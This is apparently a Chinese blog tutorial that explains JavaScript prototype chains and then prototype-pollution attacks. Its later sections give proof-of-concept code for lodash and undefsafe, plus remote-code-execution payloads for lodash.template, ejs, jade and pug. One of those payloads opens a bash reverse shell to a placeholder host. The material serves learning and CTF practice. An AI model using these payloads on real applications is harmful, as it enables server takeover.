基础知识 原型链 原型和原型链都是来源于对象而服务于对象的概念,所以我们从对象讲起。
在 JavaScript 中,数据类型分为两大类:
基本类型(值类型) :如 number、string、boolean、undefined、null、symbol、bigint
引用类型 :如 Object、Array、Function、Date、RegExp、Error 等
这里的“引用类型”,其实都是以 Object(对象)为基础的。也就是说,除了基本类型,其他在 JS 中的值本质上都是对象 ,数组是对象、函数是对象、正则是对象、对象还是对象。
1 2 3 4 5 6 7 8 let arr = []; let fn = function ( ) {}; let obj = {}; console .log (arr instanceof Object ) console .log (fn instanceof Object ) console .log (obj instanceof Object )
JavaScript中一切引用类型都是对象 ,那对象是什么?
在 JavaScript 中,“对象”可以看作是一组“键值对”(属性)的无序集合 。每一个属性都由“名字”(key)和“值”(value)组成:
1 2 3 4 5 6 7 8 let person = { name: "matrix" , age: 20 , kid: {}, say: function() { console.log("hello world" ); } };
这里,person
对象有四个属性:name
、 age
、 kid
、 say
属性名是字符串
属性值可以是任意类型(包括对象、函数、数组、number等)
所以,对象就是属性的集合
现在我们知道了什么是对象,以及对象是什么,那对象是怎么创建的呢?
这就要提到构造器函数了。
构造器函数(Constructor Function) :用于创建对象的普通函数,通常首字母大写。
顾名思义,构造器函数本身只是一个函数,只不过特殊一点(用来创建类的)。
1 2 3 4 5 function Person(name , age) { this.name = name ; this.age = age; } console.log(new Person("matrix", 20 ))//Person { name : 'matrix' , age: 20 }
通过 new Person("matrix", 20)
创建实例对象。
这里要注意,像我们直接写出来的Person
,不论是function Person(...){...}
还是new Person(...)
,都是指构造器函数。
我们这里引出原型对象的概念,
原型对象 :每个构造函数(包括 class、普通函数)都有一个名为 .prototype
的属性,这个属性指向一个对象,这个对象就叫“原型对象”。
通过构造函数(或 class)new
出来的实例对象,都会自动把自己的 __proto__
属性指向构造函数的 prototype(即原型对象)。
注意,实例对象的 __proto__
属性与构造函数的 prototype
的属性都指向同一个东西,即原型对象。
(原型指的是“构造函数的 prototype 属性”,它本质上是一个对象,故称为“原型对象”。这里原型与原型对象是一个东西,只是叫法不同,不做区分)
用下面代码理解一下
1 2 3 4 5 6 7 8 9 function Person (name, age ) { this.name = name; this.age = age; } let me = new Person("matrix" , 20 );console .log (me) console .log (me.__proto__) console .log (Person.prototype) console .log (me.__proto__.constructor)
可以发现,实例对象me的 __proto__
属性与构造函数Person的 prototype
的属性都指向一个空对象,但是这个空对象有一个默认的 constructor 属性指回Person 函数本身。
我们知道了实例对象me的原型对象,那原型对象的原型是啥?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function Person (name, age ) { this .name = name; this .age = age; }let me = new Person ("matrix" , 20 );console .log (me) console .log (me.__proto__ ) console .log (me.__proto__ .__proto__ ) console .log (Object .prototype ) console .log (me.__proto__ .__proto__ .__proto__ ) console .log (Person .prototype ) console .log (Person .prototype .prototype ) console .log (Person .prototype .__proto__ ) console .log (Person .prototype .__proto__ .__proto__ )
可以发现,空对象{}
的原型是Object.prototype
,是JavaScript 所有“普通对象”最终继承的顶级原型对象 。
换句话说,几乎所有通过 {}
、new Object()
、构造函数(比如 function Animal(){}
)等方式创建的对象,最终其原型链都会指向 Object.prototype
。
注意,[Object: null prototype] {}
是指没有原型的对象 ,这种对象的原型是 null
,但它不是普通对象的顶级原型对象 ,只是一个“纯净字典”对象。
在 Node.js 或部分现代 JavaScript 环境下,console.log 打印的对象如果它的原型是 null ,会显示 [Object: null prototype] {}
。
[Object: null prototype] {}
可以指两种情况:
Object.create(null) 创建的对象
这是“纯净字典”,没有任何继承。仅仅是自己的属性,没有任何内置方法。
Object.prototype 本身**
它也是一个对象,__proto__
也是 null
。但它自带一堆方法和属性 (如 toString
、hasOwnProperty
等),这些是它本身定义的,不是继承来的。
Object.prototype
上定义了一些所有对象都能用的方法,例如:
toString()
hasOwnProperty()
isPrototypeOf()
valueOf()
propertyIsEnumerable()
toLocaleString()
…等
这些方法是所有“普通对象”都能直接访问的,因为它们继承自 Object.prototype
。
而在往上呢?
Object.prototype
本身是一个对象,但它的 __proto__
是 null
,即原型链的终点。
我们可以这样理解,Object.prototype
没有继承自任何对象,它的原型是 null
,即原型链的终点。
我们再理一下整条链子
1 2 3 4 5 6 7 实例对象me ↓ __proto__Person .prototype ↓ __proto__Object .prototype ↓ __proto__null
实例对象的原型,原型的原型……这样一层层往上,就构成了一条链子,这就是原型链。
原型链 是 JavaScript 实现对象继承的一种机制。它是一种对象之间的链式结构,每个对象都通过其内部的 [[Prototype]]
(即 __proto__
)属性指向另一个对象,这个被指向的对象叫“原型对象(prototype)”。这样层层向上,最终指向 Object.prototype
,其 __proto__
为 null
,链条至此结束。
以下面代码和图片为例,讲解一下整个原型链
1 2 3 4 5 6 7 8 9 class Monster { constructor (name, hp ) { this .name = name; this .hp = hp; this .g = function ( ) { console .log ("ggg" ); } } }
在下面链子中,Function是顶层构造器,Object是顶层原型对象。
类与对象 下面我们再提一下JavaScript里类的概念。
早期 JavaScript 没有“类”概念:JavaScript 设计之初(1995年),只有构造函数 和原型对象 ,没有 class 关键字,也没有类的语法。对象的继承、方法的复用,都是通过构造函数 + 原型链 来实现的。
早期的“类”写法其实是用函数和原型对象模拟出来的,实际底层还是对象和原型链。
ES6(2015)正式引入了 class
关键字 ,让语法更像面向对象语言。但本质上,JavaScript 的 class 只是语法糖,底层依然是原型继承实现。也就是说,ES6 的 class 并没有改变 JS 的对象模型,只是让“面向对象”写法更优雅易懂。
JavaScript 的 class
关键字是为了符合大众的写法特意实现的语法,故称语法糖,本质上还是构造器函数+原型对象的封装。
所以说,类由构造器和原型对象组成,通过构造器实例化得到对象,实例对象通过原型链继承原型对象上的方法和属性。
我们用类重新实现一下上面,是不是顺眼许多:
1 2 3 4 5 6 7 8 9 class Person { constructor (name, age ) { this .name = name; this .age = age; } }const p = new Person ('Tom' , 18 );console .log (p.name ); console .log (p.age );
类名(如 Person
)本身是构造器函数,不是原型对象。原型对象是 Person.prototype
。实例对象的 __proto__
指向 Person.prototype
,实现继承。
注意:
类名=构造器;
实例对象的 __proto__
=构造函数prototype
=原型或原型对象。
原型链继承 所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制,比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 function Father ( ) { this .first_name = 'Donald' this .last_name = 'Trump' }function Son ( ) { this .first_name = 'Melania' }Son .prototype = new Father ()let son = new Son ()console .log (`Name: ${son.first_name} ${son.last_name} ` )
Son类继承了Father类的last_name
属性,最后输出的是Name: Melania Trump
。
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
在对象son中寻找last_name
如果找不到,则在son.__proto__
中寻找last_name
如果仍然找不到,则继续在son.__proto__.__proto__
中寻找last_name
依次寻找,直到找到null
结束。比如,Object.prototype
的__proto__
就是null
总的来讲,当访问一个实例对象的属性时,先在对象的本身找,找不到就去对象的原型上找,如果还是找不到,就去对象的原型(原型也是对象,也有它自己的原型)的原型上找,如此继续,直到找到为止,或者查找到最顶层的原型对象中也没有找到,就结束查找,返回undefined。
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
原型链污染 原理 说到,me.__proto__
指向的是Person
类的prototype
。那么,如果我们修改了me.__proto__
中的值,是不是修改的person类呢?
做个简单的实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 let me = {name : "matrix" , age : 20 }console .log (me.age)console .log (me.__proto__) me.__proto__.age = 18 console .log (me.age) let him = {}console .log (him.age)
发现,我们用Object类创建了一个him对象let him = {}
,him对象也有一个age属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染 。
但是发现me.__proto__
直接修改的是Object.prototype
,为什么呢?
注意这里有个关键点
创建方式
me.__proto__
指向
me.__proto__
内容
备注
字面量 {}
Object.prototype
{}
实际上有很多内置方法
构造函数 new
Person.prototype
{}
默认空对象,但有 constructor 指向 Person
所以,除了通过 Object.create(null)
或 Object.create(XXX)
等方式创建的对象,绝大多数“非 new 构造函数”创建的普通对象,其 __proto__
都指向 Object.prototype
。
ok,那我们明白原型链污染是什么了,接下来我们讲一讲实际中怎么导致原型链污染。
如何污染 在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
其实就是哪些情况下我们可以设置__proto__
的值呢?
找找能够控制数组(对象)的“键名”的操作即可:
对象merge,即merge() 函数
对象clone(其实内核就是将待操作的对象merge到一个空对象中),即clone() 内核
copy() 函数
以对象merge为例,我们想象一个简单的merge函数:
1 2 3 4 5 6 7 8 9 10 function merge (target, source) { for (let key in source) { if (key in source && key in target) { merge (target[key] , source [key] ) } else { target[key] = source [key] } } }
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function merge (target, source) { for (let key in source) { if (key in source && key in target) { merge (target[key] , source [key] ) } else { target[key] = source [key] } } } let o1 = {} let o2 = {a : 1 , "__proto__" : {b : 2 }}merge (o1, o2) console.log (o1.a) console.log (o1.b) o3 = {} console.log (o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
上面那句实际上是把你 o2 的原型定义为创建的新对象 {b: 2}
,也就是自定义了原型 。
这样的话,o2本身有a: 1
,然后又从他的原型 {b: 2}
那里继承了b: 2
,再把这两个值[a, b]
赋给o1,所以只是o1多了两个属性,并不会对 Object.prototype
产生任何影响。
所以新创建的o3不会有b这一属性。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function merge (target, source) { for (let key in source) { if (key in source && key in target) { merge (target[key] , source [key] ) } else { target[key] = source [key] } } } let o1 = {} let o2 = JSON.parse ('{"a": 1, "__proto__": {"b": 2}}' )merge (o1, o2) console.log (o1.a , o1.b) o3 = {} console.log (o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
当然,原型链污染有一些实际利用的payload以及绕过技巧。
直接 require(可能被禁用/覆盖/不可用):
1 require ('child_process' ) .exec ('calc' )
EXP 常用的 _load:
很多EXP用global.process.mainModule.constructor._load
,就是因为它不依赖于上下文里的require变量,不容易被删掉或限制,更通用、更隐蔽,更适合在利用原型链污染时远程加载和利用Node.js内置模块。
1 global.process .mainModule .constructor ._load ('child_process' ).exec ('calc' )
而且有时候__proto__
已被过滤,因此可以用constructor.prototype
代替,例如:
1 2 { "__proto__" : { "isAdmin" : true } } { "constructor" : { "prototype" : { "isAdmin" : true } } }
下面我们讲一下实际可以污染的模块(已知漏洞)。
Lodash 模块 Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。
lodash.defaultsDeep 方法 2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞 (CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep
函数可能会被包含 constructor
的 Payload 诱骗添加或修改Object.prototype
。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
1 2 3 4 5 6 7 8 9 10 11 const mergeFn = require ('lodash' ).defaultsDeep ;const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}' function check ( ) { mergeFn ({}, JSON .parse (payload)); if (({})[`a0` ] === true ) { console .log (`Vulnerable to Prototype Pollution via ${payload} ` ); } }check ();
lodash.merge 方法 Lodash.merge 作为 lodash 中的对象合并插件,他可以递归 合并 sources
来源对象自身和继承的可枚举属性到 object
目标对象,以创建父映射对象:
参数 :merge(object, sources)
object
:目标对象,合并的结果会写入它(通常会改变它本身)。
sources
:一个或多个源对象,按顺序合并到目标对象里。
规则 :
当多个对象有相同的键 时,最右边(最后)的源对象的值会覆盖之前的值 。
如果有多个对象完全一样(比如多次合并同一个对象),合并结果也只会有一份对应的键和值。
下面给出一个验证漏洞的 POC:
1 2 3 4 5 6 7 var lodash= require('lodash');var payload = '{"__proto__" :{"whoami" :"Vulnerable" }}';var a = {}; console.log ("Before whoami: " + a.whoami); lodash.merge ({}, JSON.parse (payload)); console.log ("After whoami: " + a.whoami);
在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL
属性,即给所有 Object 对象中都插入一个 sourceURL
属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞,如 [Code-Breaking 2018] Thejs 这道题。
lodash.mergeWith 方法 这个方法类似于 merge
方法。但是它还会接受一个 customizer
,以决定如何进行合并。 如果 customizer
返回 undefined
将会由合并处理方法代替。
1 mergeWith (object, sources, [customizer])
该方法与 merge
方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:
1 2 3 4 5 6 7 var lodash= require('lodash' );var payload = '{"__proto__":{"whoami":"Vulnerable"}}' ;var a = {};console .log ("Before whoami: " + a.whoami); lodash.mergeWith({}, JSON.parse(payload));console .log ("After whoami: " + a.whoami);
lodash.set 方法 Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。
1 set (object , path , value )
1 2 3 4 5 6 7 8 9 var object = { 'a' : [{ 'b' : { 'c' : 3 } }] }; _.set (object , 'a[0].b.c' , 4 ); console.log(object .a[0 ].b.c); _.set (object , 'x[0].y.z' , 5 ); console.log(object .x[0 ].y.z);
在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:
1 2 3 4 5 6 7 8 9 var lodash= require('lodash' );var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };var object_2 = {}console .log (object_1.whoami); lodash.set(object_2, '__proto__.["whoami"]' , 'Vulnerable' );console .log (object_1.whoami);
lodash.setWith 方法 Lodash.setWith 方法类似 set
方法。但是它还会接受一个 customizer
,用来调用并决定如何设置对象路径的值。 如果 customizer
返回 undefined
将会有它的处理方法代替。
1 setWith(object , path , value, [customizer] )
该方法与 set
方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:
1 2 3 4 5 6 7 8 9 var lodash= require('lodash' );var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };var object_2 = {}console .log (object_1.whoami); lodash.setWith(object_2, '__proto__.["whoami"]' , 'Vulnerable' );console .log (object_1.whoami);
Undefsafe 模块 Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞(CVE-2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。
我们先简单测试一下该模块的使用,
可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:
1 2 3 4 5 6 7 8 9 10 11 var object = { a : { b : { c : 1 , d : [1 ,2 ,3 ], e : 'skysec' } } };console .log (object .a .b .e )console .log (object .a .c .e )
在编程时,代码量较大时,我们可能经常会遇到类似情况,导致程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决这个问题:
那么当我们无意间访问到对象不存在的属性时,就不会再进行报错,而是会返回 undefined 了。
1 2 3 4 5 6 7 8 9 10 var a = require ("undefsafe" );console .log (a (object ,'a.b.e' ))console .log (object .a .b .e )console .log (a (object ,'a.c.e' ))console .log (object .a .c .e )
同时在对对象赋值时,如果目标属性存在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var a = require("undefsafe" ); var object = { a: { b: { c: 1 , d: [1 ,2 ,3 ], e: 'skysec' } } }; console.log(object)// { a: { b: { c: 1 , d: [Array], e: 'skysec' } } } a(object,'a.b.e','123 ') console.log(object)// { a: { b: { c: 1 , d: [Array], e: '123 ' } } }
我们可以看到,其可以帮助我们修改对应属性的值。如果当属性不存在时,我们想对该属性赋值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var a = require("undefsafe" ); var object = { a: { b: { c: 1 , d: [1 ,2 ,3 ], e: 'skysec' } } }; console.log(object)// { a: { b: { c: 1 , d: [Array], e: 'skysec' } } } a(object,'a.f.e','123 ') console.log(object)// { a: { b: { c: 1 , d: [Array], e: 'skysec' }, e: '123 ' } }
访问属性会在上层进行创建并赋值。
再来看一个简单例子:
1 2 3 4 var a = require("undefsafe" );var test = {}console .log ('this is ' +test)
返回:[object Object],并与this is进行拼接。但是当我们使用 undefsafe 的时候,可以对原型进行污染:
1 2 3 a(test,'__proto__.toString' ,function ( ){ return 'just a evil!' })console .log ('this is ' +test)
可以看到最终输出了 “this is just a evil!”。这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发 toString 方法。但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。
触发方法 注意,上面是原型链污染过程,但是污染之后我们还得触发,这样才能利用。
配合 lodash.template Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 详情请看:http://lodash.think2011.net/template
在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL
属性,即给所有 Object 对象中都插入一个 sourceURL
属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。
可参考[Code-Breaking 2018] Thejs
。
示例payload:
1 2 3 4 5 6 7 8 9 10 { "__proto__" : { "sourceURL" : "x\nglobal.process.mainModule.constructor._load('child_process').exec('whoami')" } } { "__proto__" : { "sourceURL" : "x\nreturn function(){return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()}" } } { "__proto__" : { "sourceURL" : "\u000areturn e => { for (var a in {}) { delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//" } } { "__proto__" : { "sourceURL" : "\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}" } }
为什么要污染 sourceURL 呢?我们看到 lodash.template
的代码:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
1 2 3 4 5 6 7 var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '' ;var result = attempt (function ( ) { return Function (importsKeys, sourceURL + 'return ' + source) .apply (undefined , importsValues); });
可以看到 sourceURL 属性是通过一个三目运算法赋值,其默认值为空。再往下看可以发现 sourceURL 被拼接进 Function 函数构造器的第二个参数,造成任意代码执行漏洞。所以我们通过原型链污染 sourceURL 参数构造 chile_process.exec 就可以执行任意代码了。但是要注意,Function 环境下没有 require
函数,直接使用require('child_process')
会报错,所以我们要用 global.process.mainModule.constructor._load
来代替。
配合 ejs 模板引擎 Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。可参考[XNUCA 2019 Qualifier]Hardjs
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var lodash = require ('lodash' );var ejs = require ('ejs' );var app = express (); app.set ('views' , __dirname); app.set ('views engine' ,'ejs' );var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}' ; lodash.merge ({}, JSON .parse (malicious_payload)); app.get ('/' , function (req, res ) { res.render ("index.ejs" ,{ message : 'whoami test' }); });var server = app.listen (8000 , function ( ) { var host = server.address ().address var port = server.address ().port console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > </title > </head > <body > <h1 > <%= message%></h1 > </body > </html >
在 app.js 里可以得知使用的是 ejs 模板引擎
1 2 app.engine ('html' , require ('ejs' ).__express ); app.set ('view engine' , 'html' );
ejs 的 renderFile 进入
1 2 3 4 exports .renderFile = function ( ) { ...return tryHandleCache (opts, data, cb); };
跟进 tryHandleCache 函数, 发现一定会进入 handleCache 函数
跟进 handleCache 函数
1 2 3 4 5 function handleCache (options, template ) { ... func = exports .compile (template, options); ... }
然后跟进 complie 函数, 会发现有大量的渲染拼接
这里将 opts.outputFunctionName
拼接到 prepended 中,prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果能够覆盖 opts.outputFunctionName
, 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render
方法,其最终也是进入了 compile
。
1 2 3 4 prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n' ; prepended += ' var __tmp1; return global.process.mainModule.constructor._load(' child_process').execSync(' dir'); __tmp2 = __append;'
最后给出几个 ejs 模板引擎 RCE 常用的 POC:
1 2 3 4 5 6 7 8 9 10 11 {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2" }} {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2" }} {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2" }} {"__proto__" :{"outputFunctionName" :"x\nreturn global.process.mainModule.require('child_process').execSync('whoami')\nx" }}
同样 ejs 模板还存在另一处 RCE
1 2 3 4 5 6 7 8 9 var escapeFn = opts.escapeFunction ;var ctor; ... if (opts.client ) { src = 'escapeFn = escapeFn || ' + escapeFn.toString () + ';' + '\n' + src; if (opts.compileDebug ) { src = 'rethrow = rethrow || ' + rethrow.toString () + ';' + '\n' + src; } }
伪造 opts.escapeFunction
也可以进行 RCE
1 2 { "__proto__" : { "client" : true , "escapeFunction" : "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');" } } { "__proto__" : { "client" : true , "escapeFunction" : "1\nreturn global.process.mainModule.constructor._load('child_process').execSync('whoami')" , "compileDebug" : true , "debug" : true } }
配合 jade 模板引擎 示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 var express = require ('express' );var lodash= require ('lodash' );var jade = require ('jade' );var app = express (); app.set ('views' , __dirname); app.set ("view engine" , "jade" );var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}' ; lodash.merge ({}, JSON .parse (malicious_payload)); app.get ('/' , function (req, res ) { res.render ("index.jade" ,{ message : 'whoami test' }); });var server = app.listen (8000 , function ( ) { var host = server.address ().address var port = server.address ().port console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
1 2 h1 #{message} p #{message}
调用链:
1 2 3 4 5 6 调用链1 : __express -> renderFile -> handleTemplateCache -> compile -> parse () -> compiler .compile() -> visit() 调用链2 : 在visit中跟进会发现中途会进入visitTag,而在visitTag中存在一个undefined变量;继续跟进visitCode函数 任意文件读污染链: 在visit函数中,当我们能控制line或者filename时,可以利用报错信息来读出任意文件的部分内容
最终的 Payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {"__proto__" :{"self" :1 ,"line" :"))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//" }} {"__proto__" :{"self" :1 ,"code" :{"val" :"return global.process.mainModule.require('child_process').execSync('calc').toString();" }}} {"__proto__" :{"self" :1 ,"code" :{"buffer" :1 ,"val" :"1)))\nreturn global.process.mainModule.require('child_process').execSync('calc').toString();//" }}} {"__proto__" :{"self" :1 ,"line" :"1,\"./app.js\"))//" }} {"__proto__" :{"self" :1 ,"filename" :"./app.js" }} {"__proto__" :{"__proto__" :{"self" :1 ,"type" :"Doctype" ,"line" :"))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//" }}}
配合 pug 模板引擎 Jade 是pug最初的名称。由于商标问题,Jade 在 2016 年更名为 Pug 。两者的语法几乎完全一样,Pug 只是 Jade 的后续版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { "song.__proto__.name" :"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild" , "{}.__proto__.self" :true, "{}.__proto__.filename" :"./flag" } { "song.__proto__.name" :"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild" , "{}.__proto__.block" :{ "type" :"Text" , "line" :"process.mainModule.require(' child_process').exec ('calc' )" } } //另一条链 { " song.__proto__.name":" Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild", " __proto__.code":{ " val":" ;process.mainModule.require('child_process' ).exec ('calc' );" } } //因为jade和pug很像像,所以在jade模板引擎里面有的链也可以打得通 { " __proto__":{ " self":" 1 ", " code":{ " val":" ;process.mainModule.require('child_process' ).exec ('calc' );"} } }
参考资料 javascript - 彻底搞懂JS原型与原型链 - 个人文章 - SegmentFault 思否
深入理解 JavaScript Prototype 污染攻击 | 离别歌
Modules: CommonJS modules | Node.js v24.3.0 Documentation
谭谈 Javascript 原型链与原型链污染-先知社区
从 Lodash 原型链污染到模板 RCE-安全KER - 安全资讯平台
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全KER - 安全资讯平台
Nodejs原型链污染总结 | H4cking to the Gate
从一道题开始的pug原型污染链挖掘-安全KER - 安全资讯平台